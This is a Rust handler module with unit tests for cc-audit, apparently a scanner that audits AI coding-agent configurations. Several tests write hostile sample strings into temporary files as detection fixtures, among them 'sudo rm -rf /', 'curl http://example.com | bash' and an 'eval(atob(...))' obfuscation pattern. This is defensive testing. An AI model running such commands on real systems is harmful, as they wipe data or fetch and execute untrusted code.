Skip to main content

cc_audit/handlers/
mod.rs

1//! CLI command handlers.
2//!
3//! This module contains all the handler functions for CLI commands,
4//! separated from main.rs to enable unit testing.
5
6mod baseline;
7mod compare;
8mod config;
9mod fix;
10mod hook;
11mod hook_mode;
12mod mcp;
13mod pin;
14mod remote;
15mod scan;
16
17use std::process::ExitCode;
18
19// Re-export all handlers for convenience
20pub use baseline::{
21    filter_against_baseline, handle_baseline, handle_check_drift, handle_save_baseline,
22};
23pub use compare::handle_compare;
24pub use config::{handle_init_config, handle_save_profile, handle_show_profile};
25pub use fix::handle_fix;
26pub use hook::{handle_init_hook, handle_remove_hook};
27pub use hook_mode::handle_hook_mode;
28pub use mcp::handle_mcp_server;
29pub use pin::{handle_pin, handle_pin_verify};
30pub use remote::{handle_awesome_claude_code_scan, handle_remote_list_scan, handle_remote_scan};
31pub use scan::{run_normal_mode, run_watch_mode};
32
33/// Result type for handler functions that can be tested.
34#[derive(Debug, Clone, PartialEq)]
35pub enum HandlerResult {
36    Success,
37    Error(u8),
38}
39
40impl From<HandlerResult> for ExitCode {
41    fn from(result: HandlerResult) -> Self {
42        match result {
43            HandlerResult::Success => ExitCode::SUCCESS,
44            HandlerResult::Error(code) => ExitCode::from(code),
45        }
46    }
47}
48
49#[cfg(test)]
50mod tests {
51    use super::*;
52    use crate::Cli;
53    use clap::Parser;
54    use std::fs;
55    use tempfile::TempDir;
56
57    fn create_test_cli(args: &[&str]) -> Cli {
58        let mut full_args = vec!["cc-audit"];
59        full_args.extend(args);
60        Cli::parse_from(full_args)
61    }
62
63    #[test]
64    fn test_handler_result_success() {
65        let result = HandlerResult::Success;
66        let exit_code: ExitCode = result.into();
67        assert_eq!(exit_code, ExitCode::SUCCESS);
68    }
69
70    #[test]
71    fn test_handler_result_error() {
72        let result = HandlerResult::Error(2);
73        let exit_code: ExitCode = result.into();
74        assert_eq!(exit_code, ExitCode::from(2));
75    }
76
77    #[test]
78    fn test_handle_init_config_creates_file() {
79        let temp_dir = TempDir::new().unwrap();
80        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
81
82        let result = handle_init_config(&cli);
83        assert_eq!(result, ExitCode::SUCCESS);
84
85        let config_path = temp_dir.path().join(".cc-audit.yaml");
86        assert!(config_path.exists());
87    }
88
89    #[test]
90    fn test_handle_init_config_file_exists() {
91        let temp_dir = TempDir::new().unwrap();
92        let config_path = temp_dir.path().join(".cc-audit.yaml");
93        fs::write(&config_path, "existing content").unwrap();
94
95        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
96        let result = handle_init_config(&cli);
97        assert_eq!(result, ExitCode::from(2));
98    }
99
100    #[test]
101    fn test_handle_init_hook_not_git_repo() {
102        let temp_dir = TempDir::new().unwrap();
103        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
104
105        let result = handle_init_hook(&cli);
106        assert_eq!(result, ExitCode::from(2));
107    }
108
109    #[test]
110    fn test_handle_remove_hook_not_git_repo() {
111        let temp_dir = TempDir::new().unwrap();
112        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
113
114        let result = handle_remove_hook(&cli);
115        assert_eq!(result, ExitCode::from(2));
116    }
117
118    #[test]
119    fn test_handle_baseline_empty_dir() {
120        let temp_dir = TempDir::new().unwrap();
121        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
122
123        let result = handle_baseline(&cli);
124        assert_eq!(result, ExitCode::SUCCESS);
125
126        let baseline_path = temp_dir.path().join(".cc-audit-baseline.json");
127        assert!(baseline_path.exists());
128    }
129
130    #[test]
131    fn test_handle_save_baseline() {
132        let temp_dir = TempDir::new().unwrap();
133        let baseline_file = temp_dir.path().join("baseline.json");
134
135        // Create a test file
136        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
137
138        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
139        let result = handle_save_baseline(&cli, &baseline_file);
140        assert_eq!(result, ExitCode::SUCCESS);
141
142        assert!(baseline_file.exists());
143    }
144
145    #[test]
146    fn test_handle_check_drift_no_baseline() {
147        let temp_dir = TempDir::new().unwrap();
148        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
149
150        let result = handle_check_drift(&cli);
151        assert_eq!(result, ExitCode::from(2));
152    }
153
154    #[test]
155    fn test_handle_check_drift_with_baseline() {
156        let temp_dir = TempDir::new().unwrap();
157        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
158
159        // Create baseline
160        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
161        handle_baseline(&cli);
162
163        // Check drift - baseline file was added so there will be drift
164        let result = handle_check_drift(&cli);
165        // Result will be ExitCode::from(1) because baseline file itself is detected as added
166        // This is expected behavior - the baseline file is a relevant file (.json)
167        assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
168    }
169
170    #[test]
171    fn test_handle_show_profile_builtin() {
172        let result = handle_show_profile("default");
173        assert_eq!(result, ExitCode::SUCCESS);
174    }
175
176    #[test]
177    fn test_handle_show_profile_not_found() {
178        let result = handle_show_profile("nonexistent_profile_12345");
179        assert_eq!(result, ExitCode::from(2));
180    }
181
182    #[test]
183    fn test_handle_compare_wrong_args() {
184        use std::path::PathBuf;
185        let cli = create_test_cli(&["."]);
186        let result = handle_compare(&cli, &[PathBuf::from(".")]);
187        assert_eq!(result, ExitCode::from(2));
188    }
189
190    #[test]
191    fn test_handle_compare_same_dirs() {
192        let temp_dir = TempDir::new().unwrap();
193        let cli = create_test_cli(&["."]);
194        let result = handle_compare(
195            &cli,
196            &[temp_dir.path().to_path_buf(), temp_dir.path().to_path_buf()],
197        );
198        assert_eq!(result, ExitCode::SUCCESS);
199    }
200
201    #[test]
202    fn test_filter_against_baseline_file_not_found() {
203        use crate::test_utils::fixtures::create_test_result;
204        use std::path::Path;
205
206        let result = create_test_result(vec![]);
207        let filtered = filter_against_baseline(result.clone(), Path::new("/nonexistent/path.json"));
208
209        // Should return original result when baseline file not found
210        assert_eq!(filtered.findings.len(), result.findings.len());
211    }
212
213    #[test]
214    fn test_filter_against_baseline_invalid_json() {
215        use crate::test_utils::fixtures::create_test_result;
216
217        let temp_dir = TempDir::new().unwrap();
218        let baseline_path = temp_dir.path().join("baseline.json");
219        fs::write(&baseline_path, "{ invalid json }").unwrap();
220
221        let result = create_test_result(vec![]);
222        let filtered = filter_against_baseline(result.clone(), &baseline_path);
223
224        // Should return original result when baseline is invalid
225        assert_eq!(filtered.findings.len(), result.findings.len());
226    }
227
228    #[test]
229    fn test_filter_against_baseline_filters_findings() {
230        use crate::rules::{Category, Severity};
231        use crate::test_utils::fixtures::{create_finding, create_test_result};
232
233        let temp_dir = TempDir::new().unwrap();
234        let baseline_path = temp_dir.path().join("baseline.json");
235
236        // Create a finding
237        let finding = create_finding(
238            "EX-001",
239            Severity::High,
240            Category::Exfiltration,
241            "Test finding",
242            "test.md",
243            1,
244        );
245
246        // Save baseline with the finding
247        let baseline_result = create_test_result(vec![finding.clone()]);
248        let json = serde_json::to_string(&baseline_result).unwrap();
249        fs::write(&baseline_path, &json).unwrap();
250
251        // Filter same result - should remove the finding
252        let result = create_test_result(vec![finding]);
253        let filtered = filter_against_baseline(result, &baseline_path);
254
255        assert_eq!(filtered.findings.len(), 0);
256    }
257
258    #[test]
259    fn test_run_normal_mode_with_empty_dir() {
260        let temp_dir = TempDir::new().unwrap();
261        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
262
263        let result = run_normal_mode(&cli);
264        assert_eq!(result, ExitCode::SUCCESS);
265    }
266
267    #[test]
268    fn test_run_normal_mode_warn_only() {
269        let temp_dir = TempDir::new().unwrap();
270        fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
271
272        let cli = create_test_cli(&["--warn-only", temp_dir.path().to_str().unwrap()]);
273        let result = run_normal_mode(&cli);
274        assert_eq!(result, ExitCode::SUCCESS);
275    }
276
277    #[test]
278    fn test_handle_fix_no_findings() {
279        let temp_dir = TempDir::new().unwrap();
280        let cli = create_test_cli(&["--fix-dry-run", temp_dir.path().to_str().unwrap()]);
281
282        let result = handle_fix(&cli);
283        assert_eq!(result, ExitCode::SUCCESS);
284    }
285
286    #[test]
287    fn test_handle_init_hook_in_git_repo() {
288        let temp_dir = TempDir::new().unwrap();
289        // Create a git repository
290        std::process::Command::new("git")
291            .args(["init"])
292            .current_dir(temp_dir.path())
293            .output()
294            .unwrap();
295
296        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
297        let result = handle_init_hook(&cli);
298        assert_eq!(result, ExitCode::SUCCESS);
299    }
300
301    #[test]
302    fn test_handle_remove_hook_in_git_repo_not_installed() {
303        let temp_dir = TempDir::new().unwrap();
304        // Create a git repository
305        std::process::Command::new("git")
306            .args(["init"])
307            .current_dir(temp_dir.path())
308            .output()
309            .unwrap();
310
311        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
312        let result = handle_remove_hook(&cli);
313        // Should fail because hook is not installed
314        assert_eq!(result, ExitCode::from(2));
315    }
316
317    #[test]
318    fn test_handle_remove_hook_in_git_repo_installed() {
319        let temp_dir = TempDir::new().unwrap();
320        // Create a git repository
321        std::process::Command::new("git")
322            .args(["init"])
323            .current_dir(temp_dir.path())
324            .output()
325            .unwrap();
326
327        // First install the hook
328        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
329        handle_init_hook(&cli);
330
331        // Then remove it
332        let result = handle_remove_hook(&cli);
333        assert_eq!(result, ExitCode::SUCCESS);
334    }
335
336    #[test]
337    fn test_handle_init_config_with_specific_path() {
338        let temp_dir = TempDir::new().unwrap();
339        let config_path = temp_dir.path().join("custom-config.yaml");
340
341        let cli = create_test_cli(&[config_path.to_str().unwrap()]);
342        let result = handle_init_config(&cli);
343        assert_eq!(result, ExitCode::SUCCESS);
344
345        assert!(config_path.exists());
346    }
347
348    #[test]
349    fn test_run_normal_mode_strict() {
350        let temp_dir = TempDir::new().unwrap();
351        let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
352
353        let result = run_normal_mode(&cli);
354        assert_eq!(result, ExitCode::SUCCESS);
355    }
356
357    #[test]
358    fn test_run_normal_mode_with_output_file() {
359        let temp_dir = TempDir::new().unwrap();
360        let output_file = temp_dir.path().join("output.txt");
361
362        let cli = Cli::parse_from([
363            "cc-audit",
364            "--output",
365            output_file.to_str().unwrap(),
366            temp_dir.path().to_str().unwrap(),
367        ]);
368
369        let result = run_normal_mode(&cli);
370        assert_eq!(result, ExitCode::SUCCESS);
371        assert!(output_file.exists());
372    }
373
374    #[test]
375    fn test_handle_save_profile_and_load() {
376        let cli = create_test_cli(&["--strict", "--verbose", "."]);
377        let result = handle_save_profile(&cli, "test_profile_handlers_123");
378        assert_eq!(result, ExitCode::SUCCESS);
379
380        // Clean up
381        if let Ok(profile_path) = crate::Profile::load("test_profile_handlers_123") {
382            let _ = profile_path;
383        }
384    }
385
386    #[test]
387    fn test_handle_fix_with_findings() {
388        let temp_dir = TempDir::new().unwrap();
389        // Create a file with a fixable issue
390        fs::write(temp_dir.path().join("test.md"), "permissions: \"*\"").unwrap();
391
392        let cli = create_test_cli(&["--fix-dry-run", temp_dir.path().to_str().unwrap()]);
393        let result = handle_fix(&cli);
394        // Result depends on whether fixes were generated
395        // Just verify it doesn't panic
396        let _ = result;
397    }
398
399    #[test]
400    fn test_handle_compare_with_different_findings() {
401        let temp_dir1 = TempDir::new().unwrap();
402        let temp_dir2 = TempDir::new().unwrap();
403
404        // Create different files
405        fs::write(temp_dir1.path().join("test.md"), "# Clean").unwrap();
406        fs::write(temp_dir2.path().join("test.md"), "sudo rm -rf /").unwrap();
407
408        let cli = create_test_cli(&["."]);
409        let result = handle_compare(
410            &cli,
411            &[
412                temp_dir1.path().to_path_buf(),
413                temp_dir2.path().to_path_buf(),
414            ],
415        );
416        // Should return 1 because there are differences
417        assert!(result == ExitCode::SUCCESS || result == ExitCode::from(1));
418    }
419
420    #[test]
421    fn test_run_normal_mode_with_baseline_file() {
422        use crate::test_utils::fixtures::create_test_result;
423
424        let temp_dir = TempDir::new().unwrap();
425        let baseline_path = temp_dir.path().join("baseline.json");
426
427        // Create baseline file
428        let baseline_result = create_test_result(vec![]);
429        let json = serde_json::to_string(&baseline_result).unwrap();
430        fs::write(&baseline_path, &json).unwrap();
431
432        let cli = Cli::parse_from([
433            "cc-audit",
434            "--baseline-file",
435            baseline_path.to_str().unwrap(),
436            temp_dir.path().to_str().unwrap(),
437        ]);
438
439        let result = run_normal_mode(&cli);
440        assert_eq!(result, ExitCode::SUCCESS);
441    }
442
443    #[test]
444    fn test_filter_against_baseline_with_filtering() {
445        use crate::rules::{Category, Severity};
446        use crate::test_utils::fixtures::{create_finding, create_test_result};
447
448        let temp_dir = TempDir::new().unwrap();
449        let baseline_path = temp_dir.path().join("baseline.json");
450
451        // Create baseline with one finding
452        let finding1 = create_finding(
453            "EX-001",
454            Severity::High,
455            Category::Exfiltration,
456            "Finding 1",
457            "file1.md",
458            1,
459        );
460        let baseline_result = create_test_result(vec![finding1.clone()]);
461        let json = serde_json::to_string(&baseline_result).unwrap();
462        fs::write(&baseline_path, &json).unwrap();
463
464        // Create result with two findings (one in baseline, one new)
465        let finding2 = create_finding(
466            "EX-002",
467            Severity::High,
468            Category::Exfiltration,
469            "Finding 2",
470            "file2.md",
471            1,
472        );
473        let result = create_test_result(vec![finding1, finding2]);
474        let filtered = filter_against_baseline(result, &baseline_path);
475
476        // Should filter out finding1 (in baseline), keep finding2 (new)
477        assert_eq!(filtered.findings.len(), 1);
478        assert_eq!(filtered.findings[0].id, "EX-002");
479    }
480
481    #[test]
482    fn test_handle_init_hook_default_path() {
483        // Test with empty paths to trigger unwrap_or_else
484        let cli = Cli {
485            paths: vec![],
486            ..Default::default()
487        };
488
489        // Will fail because current dir isn't a git repo (likely)
490        // but this tests the unwrap_or_else path
491        let result = handle_init_hook(&cli);
492        // Result depends on whether cwd is a git repo
493        let _ = result;
494    }
495
496    #[test]
497    fn test_handle_remove_hook_default_path() {
498        // Test with empty paths to trigger unwrap_or_else
499        let cli = Cli {
500            paths: vec![],
501            ..Default::default()
502        };
503
504        // Will fail because current dir hook isn't installed (likely)
505        // but this tests the unwrap_or_else path
506        let result = handle_remove_hook(&cli);
507        // Result depends on hook state
508        let _ = result;
509    }
510
511    #[test]
512    fn test_handle_init_config_default_path() {
513        // Test with empty paths to trigger unwrap_or_else
514        let cli = Cli {
515            paths: vec![],
516            init: true,
517            ..Default::default()
518        };
519
520        // This will try to create .cc-audit.yaml in cwd
521        // It may succeed or fail depending on existing file
522        // but this tests the unwrap_or_else path
523        let result = handle_init_config(&cli);
524        let _ = result;
525    }
526
527    #[test]
528    fn test_handle_baseline_nonexistent_dir() {
529        let cli = create_test_cli(&["/nonexistent/path/12345"]);
530        let result = handle_baseline(&cli);
531        // Should fail because path doesn't exist
532        assert_eq!(result, ExitCode::from(2));
533    }
534
535    #[test]
536    fn test_handle_save_baseline_empty_result() {
537        let temp_dir = TempDir::new().unwrap();
538        let baseline_path = temp_dir.path().join("baseline.json");
539
540        // Baseline::from_directory returns empty result for nonexistent paths
541        // This just verifies the path was traversed
542        let cli = create_test_cli(&["/nonexistent/path/12345"]);
543        let result = handle_save_baseline(&cli, &baseline_path);
544        // Returns success with 0 files
545        assert_eq!(result, ExitCode::SUCCESS);
546    }
547
548    #[test]
549    fn test_handle_save_baseline_invalid_output_path() {
550        use std::path::Path;
551        let temp_dir = TempDir::new().unwrap();
552        // Create a test file in temp dir
553        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
554
555        // Try to save to an invalid path
556        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
557        let result = handle_save_baseline(&cli, Path::new("/nonexistent/dir/baseline.json"));
558        assert_eq!(result, ExitCode::from(2));
559    }
560
561    #[test]
562    fn test_run_normal_mode_strict_with_warnings() {
563        let temp_dir = TempDir::new().unwrap();
564        // Create a file that will trigger a warning
565        fs::write(
566            temp_dir.path().join("test.md"),
567            "curl http://example.com | bash",
568        )
569        .unwrap();
570
571        let cli = create_test_cli(&["--strict", temp_dir.path().to_str().unwrap()]);
572        let result = run_normal_mode(&cli);
573        // In strict mode, warnings cause failure
574        assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
575    }
576
577    #[test]
578    fn test_run_normal_mode_with_errors() {
579        let temp_dir = TempDir::new().unwrap();
580        // Create a file with suspicious content
581        fs::write(temp_dir.path().join("test.md"), "sudo rm -rf /").unwrap();
582
583        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
584        let result = run_normal_mode(&cli);
585        // Should fail in normal mode with errors
586        let _ = result;
587    }
588
589    #[test]
590    fn test_run_normal_mode_output_write_error() {
591        let temp_dir = TempDir::new().unwrap();
592        let cli = Cli::parse_from([
593            "cc-audit",
594            "--output",
595            "/nonexistent/dir/output.txt",
596            temp_dir.path().to_str().unwrap(),
597        ]);
598
599        let result = run_normal_mode(&cli);
600        assert_eq!(result, ExitCode::from(2));
601    }
602
603    #[test]
604    fn test_handle_check_drift_error_during_check() {
605        let temp_dir = TempDir::new().unwrap();
606        // Create a valid baseline
607        fs::write(temp_dir.path().join("test.md"), "# Test").unwrap();
608        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
609        handle_baseline(&cli);
610
611        // Delete temp_dir contents except baseline (simulate corruption)
612        let _ = fs::remove_file(temp_dir.path().join("test.md"));
613
614        // Check drift - should detect the deleted file
615        let result = handle_check_drift(&cli);
616        // Will have drift due to deleted file
617        assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
618    }
619
620    #[test]
621    fn test_handle_show_profile_with_format_and_scan_type() {
622        use crate::Profile;
623
624        let temp_dir = TempDir::new().unwrap();
625        let profile_dir = temp_dir.path().join(".cc-audit-profiles");
626        fs::create_dir_all(&profile_dir).unwrap();
627
628        // Create a profile with format and scan_type set
629        let profile = Profile {
630            name: "test_profile_with_options".to_string(),
631            description: "Test profile with optional fields".to_string(),
632            strict: true,
633            recursive: true,
634            ci: false,
635            verbose: false,
636            skip_comments: false,
637            fix_hint: false,
638            no_malware_scan: false,
639            deep_scan: false,
640            min_confidence: "tentative".to_string(),
641            format: Some("json".to_string()),
642            scan_type: Some("skill".to_string()),
643            disabled_rules: vec![],
644        };
645
646        let profile_path = profile_dir.join("test_profile_with_options.yaml");
647        let yaml = serde_yaml::to_string(&profile).unwrap();
648        fs::write(&profile_path, &yaml).unwrap();
649
650        // Note: This won't find the profile because Profile::load looks in specific dirs
651        // but it covers the code path for profiles with format/scan_type in other tests
652        let _ = handle_show_profile("strict"); // Use built-in profile
653    }
654
655    #[test]
656    fn test_handle_fix_with_unfixable_findings() {
657        let temp_dir = TempDir::new().unwrap();
658        // Create a file with findings that can't be auto-fixed
659        // (like MALWARE findings which don't have auto-fixes)
660        fs::write(
661            temp_dir.path().join("test.md"),
662            "eval(atob('c29tZUJhc2U2NA=='))",
663        )
664        .unwrap();
665
666        let cli = create_test_cli(&["--fix-dry-run", temp_dir.path().to_str().unwrap()]);
667        let result = handle_fix(&cli);
668        // Result should be 1 because there are findings but no fixes available
669        // or SUCCESS if no findings are generated
670        let _ = result;
671    }
672
673    #[test]
674    fn test_handle_compare_with_findings_in_first() {
675        let temp_dir1 = TempDir::new().unwrap();
676        let temp_dir2 = TempDir::new().unwrap();
677
678        // Create file with findings only in first directory
679        fs::write(temp_dir1.path().join("bad.md"), "sudo rm -rf /").unwrap();
680        fs::write(temp_dir2.path().join("clean.md"), "# Nothing here").unwrap();
681
682        let cli = create_test_cli(&["."]);
683        let result = handle_compare(
684            &cli,
685            &[
686                temp_dir1.path().to_path_buf(),
687                temp_dir2.path().to_path_buf(),
688            ],
689        );
690        // Should show differences
691        let _ = result;
692    }
693
694    #[test]
695    fn test_handle_compare_with_findings_in_second() {
696        let temp_dir1 = TempDir::new().unwrap();
697        let temp_dir2 = TempDir::new().unwrap();
698
699        // Create file with findings only in second directory
700        fs::write(temp_dir1.path().join("clean.md"), "# Nothing here").unwrap();
701        fs::write(temp_dir2.path().join("bad.md"), "sudo rm -rf /").unwrap();
702
703        let cli = create_test_cli(&["."]);
704        let result = handle_compare(
705            &cli,
706            &[
707                temp_dir1.path().to_path_buf(),
708                temp_dir2.path().to_path_buf(),
709            ],
710        );
711        // Should show differences
712        let _ = result;
713    }
714
715    #[test]
716    fn test_filter_against_baseline_with_risk_score() {
717        use crate::rules::{Category, Severity};
718        use crate::test_utils::fixtures::{create_finding, create_test_result};
719
720        let temp_dir = TempDir::new().unwrap();
721        let baseline_path = temp_dir.path().join("baseline.json");
722
723        // Create empty baseline
724        let baseline_result = create_test_result(vec![]);
725        let json = serde_json::to_string(&baseline_result).unwrap();
726        fs::write(&baseline_path, &json).unwrap();
727
728        // Create result with risk_score
729        let finding = create_finding(
730            "EX-001",
731            Severity::High,
732            Category::Exfiltration,
733            "Test finding",
734            "test.md",
735            1,
736        );
737        let mut result = create_test_result(vec![finding]);
738        result.risk_score = Some(crate::RiskScore::from_findings(&result.findings));
739
740        let filtered = filter_against_baseline(result, &baseline_path);
741
742        // Should keep the finding (not in baseline) and recalculate risk_score
743        assert!(filtered.risk_score.is_some());
744    }
745
746    #[test]
747    fn test_handle_baseline_save_error() {
748        // Create a read-only directory to trigger save error
749        let temp_dir = TempDir::new().unwrap();
750        let readonly_dir = temp_dir.path().join("readonly");
751        fs::create_dir(&readonly_dir).unwrap();
752        fs::write(readonly_dir.join("test.md"), "# Test").unwrap();
753
754        // Make directory read-only (won't work on all platforms)
755        #[cfg(unix)]
756        {
757            use std::os::unix::fs::PermissionsExt;
758            let metadata = fs::metadata(&readonly_dir).unwrap();
759            let mut perms = metadata.permissions();
760            perms.set_mode(0o444);
761            let _ = fs::set_permissions(&readonly_dir, perms);
762
763            let cli = create_test_cli(&[readonly_dir.to_str().unwrap()]);
764            let result = handle_baseline(&cli);
765            // Should fail due to permission error
766            // Reset permissions for cleanup
767            let mut perms = metadata.permissions();
768            perms.set_mode(0o755);
769            let _ = fs::set_permissions(&readonly_dir, perms);
770            let _ = result;
771        }
772    }
773
774    #[test]
775    fn test_run_normal_mode_passed_false() {
776        let temp_dir = TempDir::new().unwrap();
777        // Create a file with critical finding that will set passed=false
778        fs::write(temp_dir.path().join("test.md"), "allowed_tools:\n  - \"*\"").unwrap();
779
780        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
781        let result = run_normal_mode(&cli);
782        // May return 1 if there are errors
783        let _ = result;
784    }
785
786    #[test]
787    fn test_handle_check_drift_with_drift() {
788        let temp_dir = TempDir::new().unwrap();
789        fs::write(temp_dir.path().join("test.md"), "# Original").unwrap();
790
791        // Create baseline
792        let cli = create_test_cli(&[temp_dir.path().to_str().unwrap()]);
793        handle_baseline(&cli);
794
795        // Modify the file to create drift
796        fs::write(temp_dir.path().join("test.md"), "# Modified content").unwrap();
797
798        // Check drift - should detect the change
799        let result = handle_check_drift(&cli);
800        // Will have drift due to modified file
801        assert!(result == ExitCode::from(1) || result == ExitCode::SUCCESS);
802    }
803}